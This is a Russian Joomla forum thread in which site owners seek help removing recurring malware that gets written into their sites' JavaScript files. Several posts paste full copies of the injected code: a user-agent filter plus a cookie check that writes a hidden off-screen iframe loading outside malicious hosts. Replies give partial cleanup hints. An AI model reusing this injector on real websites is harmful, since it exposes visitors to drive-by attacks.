Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 356 Ответов
  • 68570 Просмотров
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
¿ʁɔqɯʁǝwɔ онжоw
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

ivit

  • Осваиваюсь на форуме
  • 10
  • 1 / 0
Сайт Joomla 1.5.26+VM 1.1.9. Вирус. Удалил файлы shell из /Image (j.php и (jos_XXXX.php), деинсталировал редактор JCE, обновил до последней версии плагин Nonumber "Articles Anywhere".

Проблема: Не могу найти и удалить само "тело" вируса.
В Google Chrome вызываю просмотр исходного HTML-кода страницы (Ctrl-U), гружу в браузере, по ссылке из HTML-кода, js-файлы:
Цитировать
<script type="text/javascript" src="/includes/js/joomla.javascript.js"></script>
  <script type="text/javascript" src="/media/system/js/mootools.js"></script>
  <script type="text/javascript" src="/media/system/js/switcher.js"></script>

Вижу вирусный код, обрамленный  //e181labora....//nere198zu в начале js-файлов:
Спойлер
[свернуть]

Но при прямой загрузке по ftp с сайта эти файлы чисты?
Т.е. в них нет постороннего кода! удалять вирус неоткуда, хотя он есть.

В чем может быть дело?
« Последнее редактирование: 15.07.2013, 15:32:26 от ivit »
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Цитировать
Т.е. в них нет постороннего кода! удалять вирус неоткуда, хотя он есть.
ну прям датиш-фонтастиш  ;D
есть такое что может и кода в них не быть, а это потому что у вас сидит командный скрипт который прописывает содержимое в файлы по команде и также удаляет и также пишет другое то что зададут командой
а вы то что написали "удалили" это только цветочки, плоды ищите их намного больше чем вам кажется
*

ivit

  • Осваиваюсь на форуме
  • 10
  • 1 / 0
По каким признакам командный скрипт найти можно? Хоть намёк дайте - по форуму поискал, ничего не нашел.
« Последнее редактирование: 16.07.2013, 10:14:39 от ivit »
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
По каким признакам командный скрипт найти можно? Хоть намёк дайте - по форуму поискал, ничего не нашел.
если честно то нет намека, не по каким, коды бывают разные, если искали по форуму как пишите, то много вариантов описано анализ и глаза+руки, все всегда аналогично, просматриваете все 5000 и более файлов и находите лишнее, ни кто именно ваш случай вам не напишет подробно как у вас символ в символ, намек прост искать по функциям в которые могут вписать выполнение этих команд
*

ivit

  • Осваиваюсь на форуме
  • 10
  • 1 / 0
Правильно ли понимаю, что нужно смотреть файлы с командами:
fopen
fclose
Или может быть еще что-то?
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Я бы еще закрыл cURL
если дополнения vm его не используют, а вообще на хорошо настроенном сервере он не мешает
*

ivit

  • Осваиваюсь на форуме
  • 10
  • 1 / 0
все решилось перезаливкой зараженных файлов js - скопировал файл с сервера на комп, убедился что в нем нет лишних вставок, скопировал обратно на сервер с заменой старого.  тело вируса в скачанных через браузер файлах исчезло.

данное решение помогло не надолго, вирус опять на месте, правда теперь он грузится непонятно откуда, вот по такому скрипту:
Спойлер
[свернуть]

как отключить выполнение команд cURL на хостинге не очень понял - хостер говорит что ему это сделать не просто...
« Последнее редактирование: 16.07.2013, 10:35:49 от ivit »
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
а вообще на хорошо настроенном сервере он не мешает
Я посоветовал отключить для проверки по нахождению вируса.
Цитировать
вирус опять на месте, правда теперь он грузится непонятно откуда, вот по такому скрипту:
Похоже на файл VirtueMart 1.1.x
Цитировать
как отключить выполнение команд cURL на хостинге не очень понял - хостер говорит что ему это сделать не просто...
Что хостер не разрешает php.ini и .htaccess для твоего хостинга?
*

ivit

  • Осваиваюсь на форуме
  • 10
  • 1 / 0
.htaccess - да,  php.ini - нет
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
« Последнее редактирование: 16.07.2013, 19:33:42 от draff »
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Прошу помощи.Не знаю в какую ветку написать.Вообщем сайт перестал отображать материалы, один умник сказал что файлы сайта заражены и он почистит их за 18 000 р, но без гарантии.Послал я его и пошел искать сам.Все что смог найти удалил, но сайт все равно не дышет.Подскажите какое нибудь решение
Сайт-stroi-dveri.ru
ну конечно за один сайт по цене это перебор, но если вы не понимаете в этом деле не....., то не проще ли все же найти того кто выполнит данную работу, а то тема совершенно не про то как помочь вам почистить сайт, можете обижаться но вопрос в теме один и он решен, а если все будут в решенных темах просить помощи это считаю перебор, заведите себе топик и переписывайтесь в нем
тему зачищаю
*

Akksimo

  • Захожу иногда
  • 215
  • 1 / 0
  • Без выходных
как решено то? удалил один раз, через пол года снова тоже самое, гамно

Вот как теперь выглядит код, дописывается во все скрипты на сайте

Код
//hshsggh
(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset))!== -1) {
return index;
}
return false;
}
function braborossa(){
var denygros = 'Chrome|iPad|YandexBot|Firefox/24.0|Googlebot|YandexAntivirus|Macintosh|Android';
denygros = denygros.split('|');
var denyFG = false;
for (var i in denygros) {
if (stripos(navigator.userAgent, denygros[i])!==false) {
denyFG = true;
break;
}
}
return denyFG;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!braborossa()) {
var cookie = getCookie('grani83rjjs31n');
if (cookie == undefined) {
setCookie('grani83rjjs31n', true, 86400);
document.write('<iframe src="http://j5wjhtr.ainix.ru/h54hr6jw.gepwojg?default" style="position:absolute;left:-800px;top:-800px;" height="110" width="110"></iframe>');
}
};
})();
*

wishlight

  • Живу я здесь
  • 4981
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Значить не все удалил.
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
*

Akksimo

  • Захожу иногда
  • 215
  • 1 / 0
  • Без выходных
Удалил прописанное из всех js скриптов, удалил JCE - всё равно все сайты на хосте продолжают заражаться, теперь вирь принял вид:

Код
//sifucnci
(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function bobnilagun(){
 var nonList = ['fehinwgiejneG4tuhgnijnjkngeui4neg34uignjkwenbe4iugbkjegw3bugibenjkwg'];
 var lumpaZO = false;
 for (var i in nonList) {
  if (stripos(navigator.userAgent, nonList[i])) {
   lumpaZO = true;
   break;
  }
 }
 return lumpaZO;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!bobnilagun()) {
 var cookie = getCookie('d'+'i'+'m'+'z'+'3'+'k'+'7'+'f'+'9'+'s'+'4'+'l');
 if (cookie == undefined) {
  setCookie('d'+'i'+'m'+'z'+'3'+'k'+'7'+'f'+'9'+'s'+'4'+'l', true, 260000);
  document.write('<i'+'f'+'r'+'a'+'m'+'e'+' src='+'http://google.com'+' style="position:absolute;left:-1300px;top:-1300px;" height="111" width="111">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e>');
 }
};
})();
//cropalis
*

digger_on

  • Новичок
  • 8
  • 0 / 0
Я вот тоже попался на эту хрень.  >:( Joomla 2.5.16 с последними обновлениями.
Код
(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function bobnilagun(){
 var nonList = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Maxthon','bingbot/2.0','Googlebot/2.1','YandexBot/3.0','Baiduspider','BaiDuSpider','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus'];
 var lumpaZO = false;
 for (var i in nonList) {
  if (stripos(navigator.userAgent, nonList[i])) {
   lumpaZO = true;
   break;
  }
 }
 return lumpaZO;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!bobnilagun()) {
 var cookie = getCookie('d'+'i'+'m'+'z'+'3'+'k'+'7'+'f'+'9'+'s'+'4'+'mi');
 if (cookie == undefined) {
  setCookie('d'+'i'+'m'+'z'+'3'+'k'+'7'+'f'+'9'+'s'+'4'+'mi', true, 260000);
  document.write('<'+'i'+'f'+'r'+'a'+'m'+'e'+' s'+'r'+'c'+'='+'http://cogigen.ru/including.html?members'+' style="position:absolute;left:-1200px;top:-1200px;" height="115" width="115">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e'+'>');
 }
};
})();
//cropalisjQuery.noConflict();

Вопрос в следующем. Похожий скрипт или какой-нибудь другой (вирусный) может прописаться еще куда-нибудь кроме как в *.js?
Я сейчас хочу заменить все JS на оригиналы надеюсь поможет. Или может еще что надо заменить?
*

JASON X

  • Захожу иногда
  • 155
  • 9 / 0
У меня был только в *.js.
Замена помогала до новой атаки, т.е. после замены всё было ОК, но как только была новая атака, всё *.js заражались за несколько сек.
Лично у меня была дыра на 1-м из сайтов - расширение от разработчиков NoNaMe, название расширения не помню, но оно делало автоматическую внутреннюю перелинковку, которое стояло на Joomla 1.5.26. Но тут дело не в версии Joomla, а в расширениях. После удаления расширения заражения не наблюдались.
Быстрее всего у Вас заражение идёт именно через стороннее расширение.
*

digger_on

  • Новичок
  • 8
  • 0 / 0
У меня был только в *.js.
Замена помогала до новой атаки, т.е. после замены всё было ОК, но как только была новая атака, всё *.js заражались за несколько сек.
Лично у меня была дыра на 1-м из сайтов - расширение от разработчиков NoNaMe, название расширения не помню, но оно делало автоматическую внутреннюю перелинковку, которое стояло на Joomla 1.5.26. Но тут дело не в версии Joomla, а в расширениях. После удаления расширения заражения не наблюдались.
Быстрее всего у Вас заражение идёт именно через стороннее расширение.

Спасибо! Буду искать. А где это расширение может лежать? Кстати у меня стоит где-то 1.5 версия! Ща покапаю.
*

digger_on

  • Новичок
  • 8
  • 0 / 0
« Последнее редактирование: 04.12.2013, 13:14:35 от digger_on »
*

digger_on

  • Новичок
  • 8
  • 0 / 0
Хм, сразу два- 15 и 16 .

7,15,16 и 17. =))) Это на Joomla 1.5.26. а на 2.5 я такого не наблюдаю.

И что мне теперь с ними делать? Просто удалить?
« Последнее редактирование: 04.12.2013, 15:12:56 от digger_on »
*

wishlight

  • Живу я здесь
  • 4981
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Можно обновить, если используются.
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
7,15,16 и 17. =))) Это на Joomla 1.5.16. а на 2.5 я такого не наблюдаю.

И что мне теперь с ними делать? Просто удалить?
Еще раз- заплатку для nnframework . Заплатку просто устанавливаешь через Менеджер установка/удаление
*

digger_on

  • Новичок
  • 8
  • 0 / 0
Еще раз- заплатку для nnframework . Заплатку просто устанавливаешь через Менеджер установка/удаление

Спасибо. А потом все js почистить и типа все должно вылечиться?
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Спасибо. А потом все js почистить и типа все должно вылечиться?
нет сначала сайт почистить полностью, от бэкдоров и прочих скриптов
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Изолирование папок сайтов на OpenServer

Автор Lemady

Ответов: 41
Просмотров: 5785
Последний ответ 29.11.2021, 15:47:31
от KoreshS
[Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?

Автор altyn

Ответов: 72
Просмотров: 36471
Последний ответ 17.01.2019, 00:51:02
от Roki37
Делаю почту в общих настройках через smtp - в тот же день ящик взломан

Автор Mehanick

Ответов: 22
Просмотров: 1110
Последний ответ 25.05.2018, 08:11:19
от dmitry_stas
На мобильном не работает сайт (решено, ошибка в андройде)

Автор dragon4x4

Ответов: 5
Просмотров: 1274
Последний ответ 01.03.2018, 22:46:10
от dragon4x4
В админке еще один администратор

Автор Lidia

Ответов: 26
Просмотров: 2055
Последний ответ 07.12.2017, 16:55:25
от Fess_N